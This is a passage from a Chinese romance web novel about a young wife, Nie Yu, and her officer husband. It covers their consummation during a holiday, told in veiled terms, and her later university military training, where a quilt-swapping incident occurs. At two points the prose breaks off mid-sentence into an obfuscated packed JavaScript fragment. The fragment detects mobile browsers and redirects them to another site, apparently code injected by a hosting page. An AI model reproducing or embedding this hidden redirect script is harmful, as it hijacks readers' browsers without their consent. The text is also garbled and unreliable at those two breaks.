没多久,孟京阳将聂宇揽起,拥入了怀中。感受着她的心跳声平稳下来,他又低下头,亲吻她的额头和鬓边。 聂宇没由来地感到一阵委屈,她的手无意识地揪住他的居家上衣,低声问:“孟京阳,你对我,是不是没有那方面的想法……” “这就是你得到的答案?”他停了下来,不用看也知道他正在注视着她,“有没有想法,结婚的那一晚你就应该感受到了。” “……”聂宇之前也是这样想的,她觉得如果他不喜欢她,那晚就不会那样吻她。可是,再火热,也是仅此而已。 “那你就打算只这样了?”聂宇又问,只差来一句:孟京阳,你是不是不行! 似乎是察觉到她的潜台词,孟京阳笑了一笑,过了会儿,才说:“也要你对我有想法才行。两情相悦的事,难道我要硬来吗?” “……” 聂宇愣了下,抬起头,看着孟京阳。孟京阳没有回避,也在看她。 “聂宇,聂澄澄,我虽然是男人,但也是有点儿坚持和骄傲的。纵然持证上岗师出有名,但如果你有所躲避,那我强迫你也没什么意思。” “我只是……没做好心理准备。”聂宇解释道,“第一次总是难免的嘛,我奶奶是这样说的……” “所以了,我就等你做好心理准备,晚一点又没什么。而且——”孟京阳停顿了下,“你的进步还挺快的。” 原来,他那天在孟家亲完她夸的那句“有进步”是这个意思?? 聂宇哭笑不得地看他,撞进了一双乌黑深邃的眼眸。一时间,心软了。 “那你还等什么……”她用开玩笑的方式掩盖自己的羞怯,“看来是我的进步还没让您满意咯?” “这可冤枉。”孟京阳说,嘴角的笑意味难明,“我只是想,好不容易请几天假出来,总要让你痛快玩几天,是不是?” “不能总是窝在屋里,黏在床上。” 聂宇傻眼了,隐隐约约觉得自己好像给自己挖了个坑。但这会儿再跑的话,是不是有些晚了。 - 确实晚了。 这是孟京阳用实际行动给出的回答。在明白了她的顾虑和想法后,他决定择日不如撞日,就今天,就这一晚。 聂宇稍稍慌张了一番后,也决定接受。她好像没法儿骗自己,内心深处确实存在着对孟京阳的渴望。恰逢此刻又是如此的情意绵绵,正是完成此事的最好时机。 然而饶是如此,整个过程还是远远超出了聂宇的预期。 在孟京阳之前,别说跟男人裸裎相对,甚至连牵手聂宇都没有过。现在不仅要……,还又是最私密的地方,哪怕这人是她的丈夫,往后余生都注定最亲近的人,她还是不可能完全放开。所以不管再你情我愿,她生/理上都会有一种抗拒。 然而在这个过程中,理智早晚会慢慢消失的,只会在混沌之中偶尔作为一道光忽然闪现在脑海,与快/慰刺/激互相朝着不同的方向拉扯着她。聂宇羞愧极了,但却拯救不了自己。 孟京阳全程留意着她的表情变化,在这种事上,男人永远比女人放得开,脸皮厚。他替聂宇想了一个好主意,那就是让她没有功夫再去想那些事,让她完全被快乐与情/爱主宰。而事实上他也做到了,最后结束的时候,聂宇失神地凝视窗外,看着雨水垂落在窗台上的那几盆花上,犹如在看她自己。 - 第二天早上醒来的时候雨还在下,聂宇缓缓回过神来,感觉到身上有明显的不适。回想起昨夜的种种,有种心烦意乱感。她不太明白这是怎么一回事,好像突然无法面对自己了,也无法面对孟京阳。 忽的,房间的门从外打开了,有脚步声传来。没多一会儿,卧室的门也开了,孟京阳走进来,手里提着一个饭盒。 “醒了?”他瞧她一眼,说,“我把早饭买回来了,一会儿洗漱完了就可以吃,不用再去餐厅。” 这是他对她的体贴和照顾,但聂宇可高兴不起来。尤其看他打扮人模人样的,又恢复了平时那种淡定从容道貌岸然的样子,她打心眼里就有点儿生气。没用了,她昨天夜里已经看到了他的真面目! 孟京阳见聂宇蔫蔫的,不用问也知道是因为什么。他走过去想扶她,被她推开了手。 “我能走,没事儿。” 聂宇故作坚强,自己去了卫生间。孟京阳跟在她身后,忍不住失笑,神情里却满是宽和及包容。 还是比昨晚好一些的,他想。昨晚结束之后他想要帮她清理,聂宇死活不要,甚至都快哭了。最后还是他把她抱去了卫生间,留她自己在里面收拾。 女孩儿脸皮薄加年纪小,戳破了男女关系这最后一层纸后,她是需要一点时间适应的,否则他也不至于把这件事拖到现在来做,为的也就是让她不那么难受。但总归会有这样一个过程,时间长短而已。 卫生间里,聂宇看着收拾干净的地面和洗漱台,心情好了一些。她接水洗脸刷牙,一切就绪之后去找昨晚换下的脏衣服时,发现都不见了。聂宇立刻去客厅问孟京阳,得到的回复是他已经收拾了。言下之意,都洗了。 聂宇脸又涨红:“可还有我的衣服呢!”还有她的贴身衣裤呢! “都洗了。”孟京阳哂笑看她,“你是怕我洗的不干净,还是嫌弃我碰你衣服?” 都不是。聂宇想了想觉得没法儿解释此刻的想法,便将其都归结为矫情。但她就准备矫情这一回了。 “不要你洗,你跟我保持点距离。”聂宇说着,心情又不是很愉快了。 孟京阳没有说话,先让她吃饭。等吃完饭后,他将碗筷放到一旁,对聂宇道:“澄澄,以后我们免不了会有需要彼此照顾的时候,你我是夫妻,你打算跟我见外多久呢?” “不是见外。”聂宇没什么底气地辩解,“会有需要你帮忙的时候,但不是现在。”至少给她留个底线吧。 “行,但我先声明,我愿意为你做这些事。” 一句话,将聂宇哄好了。她别别扭扭地应下,不再在意这件事。 - 饭后,因为雨下得大,俩人就在房间里歇着。 许是得到了很好的照顾,聂宇此刻心情已经恢复平稳。但该如何跟孟京阳相处,她还得费心思量下。她觉得短时间内,还是不要再做那件事比较好,免得有人的形象再度崩塌。 聂宇想着,转过身,看向躺在一侧的孟京阳。他似是闭着眼在休息,但以聂宇对他的了解,知道他并没有睡着。 聂宇忽然很想凑近看看他,研究下夜里的他跟白天的他怎么会区别那么大。昨晚有那么一刻,她觉得他很陌生,因而越发抗拒。这份心境带到白天来,就是她心情不好的主要原因。但细细一想,这也不能说是他的错。 “聂宇,你再这么看着我,我还要不要睡了?” 忽然,躺着的人发出了声音,聂宇惊了下,就要躺回去。但过了会儿,察觉到他仿佛也不是很在意的样子,她又重新靠近他,低声说:“孟京阳,我觉得要隔几天,才能再做那件事。我这不是商量,是决定。” “怎么说?”孟京阳终于睁开了眼,不知道是不是被她气的,“是哪里不舒服,还是觉得过程太原始了,让你感到羞耻?” 聂宇感觉一下子被他戳中了痛点和要害,但稍一停顿,还是嘴硬道:“也没有,就是,就是……” 就是什么呢?随着昨夜渐渐远去,随着她渐渐平静下来,那些让她觉得不适的点好像已经全然模糊了,以至于此刻她也说不出什么来。 聂宇纠结了下,干脆放弃,转而问孟京阳:“怎么我看你好像什么事也没有呢?” “还是有的。”孟京阳表示,“但我不能说,你听了肯定要生气。” “你说。”聂宇坚持道。 “好吧。”孟京阳想一想,忽然转过身,将人抱到怀里后,说,“我觉得昨晚很好,前所未有的快/慰与亲密。” “……”聂宇悔的想打自己嘴巴一下,她就不该问!然而无论她在他怀里如何挣扎和踢腾,孟京阳都不放开她,聂宇没辙,小声骂了他一句:“厚脸皮!” “那不然呢?对自己老婆还要在这种事上遮遮掩掩么?”孟京阳低头看她,“聂宇,你把我想成什么隐世谪仙了?谢谢,我只想当凡夫俗子,享七情六欲。” 这人、这人反倒越说越来劲呢。但聂宇听着,心里的那一点隔阂,好像开始慢慢消融了。 “那你以后能不能克制下?”聂宇没意识到自己已经开始妥协,让步了,“那种不能自控的感觉,让我有点儿害怕。” “……”孟京阳看向她的表情变得有一些古怪,末了,他轻轻一笑,无奈中仿佛又带着一点兴味,“这话说的,真不知道你是在夸我还是——” 聂宇后知后觉地回过味儿来了,脸一红,简直想跳将起来打人。孟京阳适时控住了她,整个人翻身一压,用唇堵上了她的嘴。 聂宇怔了一下后,决定“誓死不从”。可她那点儿力量在孟京阳面前哪里够看的,简直就像是在调情了。聂宇没辙,只能由着他来,慢慢到最后自己也沉浸在了其中,氛围犹如窗外细雨一般悱恻缠绵。 就这样唇齿交缠了许久,孟京阳将聂宇完全抱在怀里,低声在她耳边说:“聂澄澄,我以后会注意,但你不能因为我对你的欲/望来拒绝我,是不是?” 聂宇这会儿已经完全晕乎了,听到这话只是哼了一声,不知是否认还是同意。孟京阳也没再追问,流连地在她耳畔和颈间留下些许啄吻,两人就这般温存着,陷入了静谧。 -50- 事后回想,当时的她应该是短暂地陷入了情绪的漩涡。只是让聂宇庆幸的是,所有的这一切都被孟京阳给接住了。没有觉得她小题大做,矫情事多,而是每一处都做了耐心应对,这两人顺利地过了这个坎儿。 之后几天,天气时好时坏。在下雨的时候他们就待在室内消遣,放晴的时候便去山间或者周边逛一逛。在假期最后两天的时候,天空终于云销雨霁,鹤清别墅外的露天泳池也随之开放,聂宇好好地进去畅游了一番。 当然,孟京阳也有参与,并且他游的还不赖。聂宇披着浴巾坐在一旁看他游了几个来回,感受着微风拂过脸庞,心情是前所未有的畅快。她感觉,自己要舍不得离开了。 傍晚,在吃过晚饭之后,俩人回房间收拾行李。只是忙碌到一半儿,齐齐进了卫生间。 白天游泳时穿着打扮裸露颇多,再加上难免的肢体接触,使俩人都有些蠢蠢欲动。但第二天就要走了,根本来不及收拾打扫战场,脸皮薄如聂宇又不肯把那一片狼藉留给招待所的工作人员。于是就去了浴室,无论如何激烈,水一流过,不会留下一点痕迹。 但浴室也有浴室的不好,就是墙壁太过光滑,人靠不住,双手也无处着力。聂宇没多一会儿就撑不住了,双手攀上孟京阳的肩膀,时而摇头时而哭泣,到最后结束的时候,整个人已经完全脱力。孟京阳拥着她,站在花洒下冲了个澡,出去之后头发都来不及吹,沾床就想睡。 第一次之后,聂宇问过孟京阳,那就是如果她的“进步” 不足以让他们“两情相悦”,他是不是就一直等着了。 孟京阳笑了笑,很欠地回答了一句:“应该拖不了那么久,在照山的这几天足够了。” 聂宇气的想咬他。结婚后他一直忙着工作,统共就跟她相处没多久。即便如此,这人也丝毫不担心,觉得出来玩一趟就够了。当然,更不争气的还是她,在他搞定她之前,她自己就把自己搞定了,诶。 孟京阳不赞同她这个说法。 “是谁提议的结婚呢?”他问聂宇,“这是不是说明我早就被你搞定了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541700|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你看,这人就是这么会哄人,聂宇的心情瞬间就雨过天晴了。 - 第二天一早,俩人出发前往江市的机场,启程回燕城。 许是前一晚过于劳累,这回聂宇压根儿就没想过晕机的事儿,上了飞机就睡,一觉睡到了燕城。随后,孟京阳取了存放在燕城机场的车,带着聂宇回了独属于两人的住处。 这趟出门时间卡的很紧,当天回来,第二天孟京阳就要去团里报到。聂宇还没有完全脱离假期的愉快轻松氛围,一时有些不适应。 “那你什么时候回来?”聂宇换上居家的衣服,有些不舍地问孟京阳。 “不确定。”孟京阳说,“不过有空肯定就会回来。” 其实他们团部大院有家属房,距离聂宇开学还有几天,她完全可以住过去。但孟京阳想了想还是作罢,他们的驻地太偏了,聂宇过去除了在房间里待着外几乎就没有任何消遣。他是宁愿两边跑也不想把她限制在那里。 聂宇嗯一声,想要帮他收拾行李,被孟京阳拦下了。他递给了她一些东西,让她收起来。 聂宇下意识瞅了一眼,结果脸瞬间红了。是某人带去照山的安全措施,他可真是有备无患呐! “这么多!”聂宇感觉拿的都烫手。 “那你反思下吧,剩这么多肯定不是我的问题。”孟京阳往行李包里塞书,没看她。 “我是说你带的多,不是说剩的多!”聂宇皱眉。 孟京阳终于回过了头,看看她手里的东西,然后又抬手捏了下她的脸。如此聂宇就不好说他了,收好之后心中不忿,不怕死地过来挑衅了他一句。 “这个东西有保质期吗,依你这回家的频率,真不知多久才能用完。” “这么担心那今晚就消耗两三个,我有这时间和精力。” 这是压根儿就不吃她这套呀,聂宇不敢放肆了。但孟京阳已经不放她走了,把人强留下来陪他说话。 - 当晚,俩人还是为消耗库存做了一下贡献。但孟京阳不敢太过分,两人早早就休息了。 第二天早上,因为不是常规销假,时间还算宽裕,孟京阳没有出发太早。他和聂宇一起吃了早饭,洗涮完毕后,才从容出门。 聂宇下楼送他,孟京阳将行李放到后排后,想了想说:“过几天你开学,我不一定有时间赶回来。不过我已经跟老爷子说过了,到时候让小戚帮忙,把你连人带行李一起送过去,你在家里等着就好。” “我知道,老爷子跟我提过。” “那就好。” 孟京阳说着,抬手将人拉过来揽进怀里,低声嘱咐:“不论是在家还是去学校,都照顾好自己。有什么事跟老爷子打电话,我这里不一定能随接随到。” 孟京阳说着,觉得有些惭愧。但聂宇却想得很开。 “我这种情况,别说是当军属,即便是放到普通家庭也算是很好的了。所以你不要担心,我不会有问题的。” “好。” 孟京阳亲一下她额头,松开聂宇,上车离开了。而聂宇站在已经有些清冷的晨风里,无端觉得有些失落。 她想,这一次她要用更久的时间才恢复心中的平静了。 - 距离燕城市中心将近一百公里的某部驻地,一早便开始了一天的训练。上午十时许,一辆挂着军区牌照的越野车开了过来,门岗值班的尉官认出是刚来不足一个月的孟参谋长的车,立刻安排放行。孟京阳向窗外抬手敬礼的尉官微点头示意,然后绕了几个弯,将车停在了团部大楼前。 办公室里,团长劳仲辉已经得到他回来的消息,不及他进自己办公室的门,就安排通信员将他拦了下来,直接召唤了过去。孟京阳只得先把行李交给了通信员,自己去团长办公室报到。 “直接进来!” 办公室的门半敞着,劳仲辉早就看见孟京阳的身影,一把招手让他进来。孟京阳也不跟他客气了,进屋后关上房门,走到劳仲辉办公桌前站定,抬手敬了个礼。 “我回来销假了,有什么任务,请您指示。”孟京阳说。 劳仲辉先指示他坐下,然后递给他一沓厚厚的文件。孟京阳接过,立刻就开始翻阅。 “上面确实又来任务了,研究外军。”劳仲辉说,“这是这些天搜集的一些资料,你慢慢看,看完之后做个教案,在全团进行宣讲。” “只有理论层面的?”孟京阳掂一掂手里这本“厚砖头”,问道。 “急什么?”劳仲辉假装不悦地瞪眼,“先吃透理论,才能指导实践不是?” “好吧。”孟京阳略作叹息道,“在军区当研究员的时候就是天天翻译文件做教案,没想到下到团里来还是干这些活。” 劳仲辉不理他的牢骚,笑一笑,问道:“假休得如何?”话落,不等他回答,又兀自回答道,“不用说了,看你这脸色就知道。” “我什么脸色?”孟京阳故作好笑地反问。 “春风得意啊。”劳仲辉拿手点点头,“进门前真该给你留点时间照下军容镜,这样多少知道收敛点。” 孟京阳这下是真笑了,低眉摸了下鼻子,仿佛还有些不好意思。但劳仲辉晓得,这小子脸皮厚得很,估计在他面前演呢。 想到这里,他的心里就充满感慨。都说他劳仲辉“倚老卖老”,敢跟上面要人。谁能猜到背后主使其实是这小子本人呢,他亲自找上门,给了他无法拒绝的理由,他不答应也得答应了。唯一的变数是他这不争气的身体,才促使师里提前做出了安排,结果恰巧又赶上这小子结婚的大喜事。呃,这多少也算得上……双喜临门了吧? 一老一少俩狐狸凝视着彼此心思各异地笑笑,然后劳仲辉一抬手,将人赶去干活了。 孟京阳收敛了心神,回了办公室。屋内,通信员已经将他带来的东西都收拾了出来,只有一个相框倒扣在桌子上,等着他自己来安排。孟京阳走过去,用手将相框扶正,露出一男一女两张脸庞。那是他和聂宇在领证前去照的,年轻姑娘穿一身漂亮的裙子,黑亮的头发绾在脑后,对着镜头露出腼腆而真挚的笑容。孟京阳凝视片刻,将它摆进了书柜里最显眼的位置,同另外两张他最珍视的相片放到了一起。 - 燕城的干休所大院里,在经过两天的适应之后,聂宇渐渐习惯了一个人的日子。而且随着开学的时间渐渐临近,她要忙的事情也越来越多,多少能分散一下她的注意力。 科大的开学日期是在九月的第一个周末,距离现在还有几天。但学校本身就在本市,而且离她和孟京阳现在的住处只有三站地的路程,是以聂宇打算提前去学校看看,说不定已经有新生提前到了。 果不其然,科大校园里已经热闹了起来。聂宇去学校转一圈后碰到了不少同级的新生,还得知了一个令人震惊的消息:学校给他们这届新生安排了军训,为期一个月! 26.51-52 -51- 对于现今的学生来说,军训并不是一件新鲜事,但是为期一个月之久,还是有些超出人的预计。聂宇回到家之后,在当晚的电话里将这个“好消息”告诉了孟京阳。 身为军人,孟京阳对军训这项活动还是十分赞成的。虽然内部有些人觉得这是瞎折腾,但对增进和加强高校学生的国防观念和身体素质还是颇有益处,值得推广和延续。 “但是需要训一个月吗?”聂宇有些犯嘀咕,“有些身体素质差的怕是都撑不下来。” “时间久了效果才显著,一个星期只能算是小打小闹了,没什么意思。”孟京阳一边在纸上写着什么,一边跟电话那头的人说,“到时候如果真要撑不住了,可以向教官请假,但我觉得你没问题。”对于聂宇的身体情况,他心里有数。 “会晒黑……”聂宇怨念道,“一个月下来,要晒成非洲人了。” “那这就没办法了。”孟京阳笑笑,“没事,我不嫌弃你。” “……”电话那头的人不吱声了,显然是在生闷气。 孟京阳轻咳一声,岔开了话题:“应该是把你们集体送到训练基地训,这几天没事儿在家练练叠豆腐块儿,不然前几天你只能披着衣服睡了。” “有那么夸张?”有人果然被转移了注意力。 “有备无患吧。”孟京阳说着,忽然也不舍得聂宇去受这一个月罪了,毕竟部队里要遵守的纪律真的不少。 “澄澄。” 孟京阳忽然唤一声她的小名,话到嘴边却迟迟未说,仿佛是在斟酌用词。聂宇起初还有些莫名,反应过来之后她立刻说:“我不是要你给我走后门的哦,军训我要去的,晒成非洲人也去。” 刚开学就搞特殊,会拉大跟同学之间的距离的,她可不想被孤立。 “好。”孟京阳一笑,“我这两天争取抽空回去一趟看看你。” “你还是别了。”聂宇闷声拒绝,“我就要开学了,你别回来扰乱我的心思。” “……”某人沉默几秒,“所以说被嫌弃的人原来是我?” “你才知道!”聂宇笑着丢下这么一句,挂断了电话。 - 饶是如此,孟京阳还是借着去军区处理遗留公务的机会回家了一趟,并在家过了一夜。第二天他早早起床准备回团里,临走之前将他买的军训时可能会用到的药物塞进了聂宇的行李箱,以备不时之需。 在孟京阳离开差不多两个小时后,小戚开着车过来了,准备送聂宇去学校。而聂宇此刻才刚起,匆匆吃过早饭,和小戚一起把行李放进后备箱,锁好家门向学校进发。 即将开始生活新篇章,聂宇心情十分激动。但兴许是昨晚睡得不算早,她此时的神情看上去有些凝滞,直到车子驶入科大校园,看见成群成群的年轻脸庞,她才重新打起精神来。 到校第一步自然是报到,然后是选宿舍,最后是排队体检。在小戚的帮助下,聂宇不到两个小时就办好了所有事宜,期间有不下五六个高年级师兄围在她身边企图借着“帮忙”之名向她献殷勤,都被小戚给挡回去了。聂宇看着那些年轻男孩子有些懊恼的脸,心里顿时恍然大悟:原来今天小戚还是带着任务来的。 但聂宇一点儿也不生气,一来是她也不喜欢烂桃花,二来是这多少也凸显了某人对她的在意,这点心机她还是可以接受的。 在完成了最后一项报到流程之后,聂宇谢过小戚,让他先离开了。而她则在校外的水果摊买了几个新鲜的水蜜桃,微笑地提着回了宿舍。 - 这一届大一的新生大多住在西区,而聂宇他们计算机学院的新生则是住在西五,四层。 西五是典型的筒子楼格局,聂宇的宿舍在最西头,朝南。原本是八人一间的宿舍,但因为整体多了一道外立柱,占了一部分地方,便改为六人间了。这可算是便宜了住在这间宿舍的人,地方没小多少,却腾出来一个上下床的空间,可以供大家摆过去几个桌子,在上面放一些东西。 聂宇回到宿舍的时候,里面人已经到齐了,都在热火朝天地收拾着自己的床铺,顺便聊着天。而通过大家的互相交谈,聂宇了解到了这个宿舍的构成,除了两个外语学院过来的,其他四个——包括她在内——都是计算机学院的。而且,她们这四个人就是计算机专业的全部女生了,占这一届班级总人数的三十分之四,也就是说,三十个人的班级,只有她们四个女孩儿。 得知这个男女分布比后,四个计算机系的姑娘多少有些无语。 “真可怜,好不容易考上了大学,还要当‘弱势群体’。”一个扎着双马尾的姑娘撇嘴道,她叫冯瑛,来自两湖地区,是她们当地的理科状元,盲选了科大的计算机专业。 “不能这样讲,我们还羡慕你们呢。”外语学院的宁露笑着说,“物以稀为贵嘛,计算机系只有你们四个女孩儿,肯定把你们当宝,事事以你们为先,这不要过的太舒服诶。哪里像我们,女孩子成堆,都不稀罕了。” 宁露说着,与同为英语专业的李晓晓对视一眼,耸了耸肩。 “谁要他们让呀,大家都是同样分数考进来,谁让谁还说不定呢。” 冯瑛大大咧咧回了一句,宁露的表情有些不好看,但还是忍了下去。她看向其他人,笑得温婉又善良,表示自己不介意。 果然,有人就出面打圆场,问宁露老家在哪里。得知她是南边某地来的,连呼那是个好地方,于是宿舍的氛围再度活跃了起来,聂宇也趁着这点功夫,把自己洗干净的桃都分了下去。 像是被这个桃点醒,宁露忽然将注意力放在聂宇身上,问她道:“你家是不是部队的呀,貌似还是本地的?” “我家长辈是部队的。”聂宇答,“我是旬城人,小地方来的,复读考进的科大。为了备考方便,这段时间一直住在长辈家。” “难怪啦,我看刚才有个穿军装的送你进来,肯定是你家长辈派来的,是不是?” “东西太多,只能临时麻烦他一下……” 聂宇做出一副很不好意思的样子,宁露打量她看看,一时觉得摸不透她的底细,便没再多问。聂宇松一口气,在心里做出暂时先不跟这个姑娘深交的决定,因为直觉告诉她,这样更安全。 宿舍另外两个姑娘,一个叫田舒云,是燕城本地人;一个叫鲁静,来自东北。聂宇与她们做短暂的交谈,感觉她们真的是人如其名:一个豪爽洒脱,一个安静沉稳,总之就是印象不错。 再加上刚才那位冯瑛,能与这三个姑娘在接下来的四年里做同班同学,聂宇感觉自己还算幸运。所以接下来的日子,大家就一起“好好学习,天天向上”吧! -52- 在全校的新生都完成报到注册之后,科大在学校最大的礼堂里召开了一次大会,一则是为了欢迎新生报到,二则是做军训动员。在会后的第二天,军训的通知就下来了,要求全体新生如无重大情况外,都必须要参与。 同时果如孟京阳的预计,这一个月的军训安排在燕城军区某训练基地内,全体参训人员只需携带基本的生活用品前往,其余皆由基地统一配发。 在出发当天,军区派了二十来辆军卡和大巴车,将新生分批次地送到了目的地。不少人都是第一次坐这种车,一路上欢声笑语地过去,整体还算是兴奋。只是到了之后看见等在集合点的那一排面容严肃呈标准军姿站立一排的教官时,大家可就高兴不起来了,以学院为单位乖乖领了用品之后,就按照性别的分配标准,去了各自的宿舍。 由于基地平常是用来保障军区内各作战单位训练和演习的,在住宿方面就不大讲究,全员睡大通间,一个屋里面至少能装下一个排,也就是四十来号人。不少家庭条件不错的新生进了宿舍后看到那一排排钢架床,顿时就开始哀嚎:这下可怎么睡! 作为计算机系仅有的四个女生,聂宇和另外三个一起,连同同一学院微电子系的三位女生,都被安排进了外国语学院女生所在的七号宿舍。七个人进去的时候房间里已经喧闹得沸反盈天,她们互相一对视,麻溜地将靠墙和靠门的那几个空床铺一分,就开始收拾起自己的内务来。 宁露最先看到田舒云,她一脸惊喜地过来同她们打招呼,似乎是很高兴一个宿舍地可以在这里相聚。有她做两个学院的中间人,新加入的七位女生也迅速融入到了七号宿舍这个集体当中。 “真是不好意思啊,留给你们的都是靠墙和靠门的床位了。”宁露打量了一下七个女生的铺位,有些歉然道。 “没事没事。”冯瑛大气地一挥手,“离门近好啊,到时候紧急集合了可以第一个出去,哈哈。” “没错没错。” 田舒云也笑说,这让宁露准备的安慰之词说不出来了。她迅速调整表情,一脸不解地问:“真的会有紧急集合吗?咱们又不是真来当兵的,用这么认真嘛。” “那没办法呀。”田舒云说,“动员大会上你没听那个来的基地首长说嘛,只要军装穿在身一天,就要以军人的标准要求自己。” “好吧。”宁露露出一个无奈的笑,看着聂宇,用艳羡的口吻道,“你从部队大院来的,见惯了这种场面,肯定不觉得难吧。” 聂宇不知道她为什么一直执着于强调自己的“部队”背景,闻言也只是笑笑,说:“我跟大家一样啊。就我这体格,说不定还不如你呢。” 宁露微微一笑,又跟她们聊了几句后,回到了自己的铺位。 - 当晚,各学院集合了一次分配了主副教官后,就再无其他的安排。聂宇回到宿舍后抓紧洗漱,就上床准备休息,好为明天开始的为期一个月的军训积攒体力和精力。至于房间里的其他人,都还在热闹地说着从各处听来的传闻,聂宇听着听着,也就睡着了。 第二天上午,军训正式开始,而天气也相当配合,从早上起便是阳光普照,异常灿烂。不少新生私下里有抱怨,但一旁就有医疗组随时待命,没人敢随便装晕装病来躲避训练。 对聂宇来说,除了天气有点热以外,其他方面她都适应地颇为良好。且分配给他们的主教官脸皮比较薄,不怎么会训斥女生,所以她们过的就相对舒坦一些。几天训练下来,大家都渐渐习惯了军训的作息和强度。 相比之下,外语学院的姑娘们就过得比较惨了。基地分配给他们的教官一个长得比较黑一个长得比较白,被她们冠以“黑白无常”的称号,说他们简直就是来索命的。训练场上最常见到的一幅场景就是别的学院都已经稍息休息了,外语学院还在站军姿,或者在练习其他科目。就这样训了不到一周,已经有四五个倒下了,其他还坚持站在训练场上的也是一肚子苦水和牢骚。 终于盼到了一个下雨天,全体新生都被安排在宿舍学习整理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559094|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内务,结果分给七号宿舍的正是外语学院那对“黑白无常”里的黑无常。还指望着借此偷偷懒的姑娘们瞬间绝望了,都打起精神来应对。 果不其然,黑无常人如其名,对所有人要求都非常严格,被子叠不出他想要的效果的统统都扔去走廊重叠。而作为其中唯一一个有准备的人,聂宇此刻就成了“异类”,她的豆腐块是唯一合格的,在大家都苦着一张脸在走廊上忙碌的时候,她可以待在房间里休息。 聂宇对此的感想是她宁愿不要这种特殊待遇,但事已至此,她也只好故作淡定地在走廊上转悠,看到谁有需要,就过去简单指点和帮忙。 当晚,宿舍里所有的人都舍不得拆好不容易压好的豆腐块,而是选择和衣而睡。第二天早上集合后就有人来检查内务,她们可不想做拖后腿的那个。在这种情况下,聂宇也只好随大流。好在天气炎热,不盖被子也不会着凉。 第二天上午天气放晴,又恢复了日常训练,只是在中午解散的时候,教官点名了几个人让他们留下,说是早上内务检查不合格。而这几个人里,就有聂宇。 包括聂宇在内的计算机学院的七个人都对这个结果大感诧异,因为她们都在一个宿舍,知道聂宇的内务水平是全宿舍最好的。然而此时也不是为她分辩的时候,大家只能眼睁睁看着聂宇跟随教官离去。 所有不合格的内务都被标记上名字扔到了大操场上,颇有羞辱意味。聂宇硬着头皮走到自己那一摊被子前,只简单翻看了下,就确定这被子不是自己的。她带了针线的,在被子里面缝了一个小印记,为的就是怕这些统一配发长得都一模一样的东西在晾晒的时候跟别人搞混。没想到,第一次发挥作用竟是用在了这上面。 聂宇立即起身,向教官报告了这一情况。黑无常对她这个唯一内务合格的自然也有印象,他随即将被子拎起来前后看了看,问她:“那你的被子在哪里?” “……那个,我要先去找找。”聂宇说。 “那你先把这个被子叠好带回去,剩下的事等你找到了你的被子后再说。” “是。” - 聂宇没想到自己会遇到这种事,一时间颇觉得好笑。 但她也没在意,只等回去之后把全寝室的被子翻一遍,就能找到始作俑者。毕竟她的被子上有小印记,即便是被那个人拆了,也能留下针脚的痕迹,可以辨认。 然而让聂宇更没想到的是,她回到宿舍的时候,所有人都正在给自己的被子上缝名字,理由是大家都被聂宇的事搞怕了,要提前做做预防,免得哪天被人偷换了也不知情。 聂宇顿时傻眼,反应过来之后立刻问:“是谁提议的?” “是我呀。”一个外语学院的姑娘随声站起,“咱们还得在这里待半个月呢,可不能再发生这种事,你们说对不对?” “可不是嘛!” 所有人都在响应这个姑娘的话,而聂宇仔细端详了她一阵,硬是想不起她的名字来。她默默垂下眼眸,心里略觉得荒唐:就在她在操场上努力叠豆腐块的这个空当,宿舍里的其他人已经快速地达成了一致,要给被子上加印记。这样一来,她还如何去找自己的被子,那点痕迹怕是早就被新的给覆盖了。 可是提出这个建议的姑娘,按说是最有换被子嫌疑的人,聂宇却无论如何也想不出何时跟她有过交集。而且她下意识地觉得不会是她,因为这样一来“毁尸灭迹”的意图就太过明显了。 聂宇心下明白,这个事情暂时没法有结果了。虽然她可以强硬地要求所有人拆去缝好的标记摊开被子供她辨认,但会有多少人配合呢?她们计算机学院的在这个宿舍可是少数派,如果她坚持“敌在内部”,一个搞不好就被冠上“破坏团结”的罪名。而且就算她找到了自己的被子,她又如何证明那是她的,除了她之外没人知道那个标记,而除了那点儿痕迹之外,她的又和别人的没有任何区别。所以,所以……除非聂宇把事情捅上去,告诉学院和分管他们的女兵排长及连长,才有可能揪出幕后之人。但需要冒着风险把事情搞大到这种程度吗?这样一来会不会影响到身处在这个大集体的无辜之人,尤其是她们计算机学院剩下的那六个? 她们还要再在一起待半个月呢。 随着将这件事一点点缕清,聂宇决定暂时按兵不动,因为这事对她来说并非没有查清的可能,她至少还有一个突破口——那个主动提议的女生。 - 接下来的半个月,军训照旧。只是对七号宿舍来说,流程有一点小小的变动,那就是她们宿舍的内务检查安排在集合前了,由黑无常和负责她们的女兵排长一起执行。 这是黑无常争取来的,他在事后得到了聂宇的汇报,知道事有蹊跷又一时不好追究,便决定听从聂宇的建议,将内务检查的时间安排在了众人都在的时候,也就是下楼集合前。这样一来,最大程度地避免了类似事情再度发生。而聂宇也对自己所有的东西都提高了警惕,还联合号召了宿舍所有人互相监督,就像那个主动提议给被子缝名字的女生那样。如此这般,类似“换被子”之类的事再也没有发生。 在国庆节即将结束的时候,科大新一届学子的军训终于迎来了尾声。众人雀跃不己,像出笼的小鸟渴望自由一样,只等着军训汇演结束就离开这个鬼地方。而聂宇,就是在这个时候意外见到了她阔别一个月之久的家属,孟京阳。 27.53-54 -53- 